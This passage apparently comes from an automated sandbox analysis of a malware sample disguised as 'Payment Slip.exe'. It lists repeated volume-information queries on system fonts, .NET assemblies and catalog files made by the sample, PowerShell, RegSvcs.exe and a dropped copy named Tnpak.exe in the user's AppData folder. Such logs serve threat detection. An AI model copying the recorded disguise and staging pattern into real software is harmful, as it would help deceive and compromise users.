                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Users\user\Desktop\Payment Slip.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
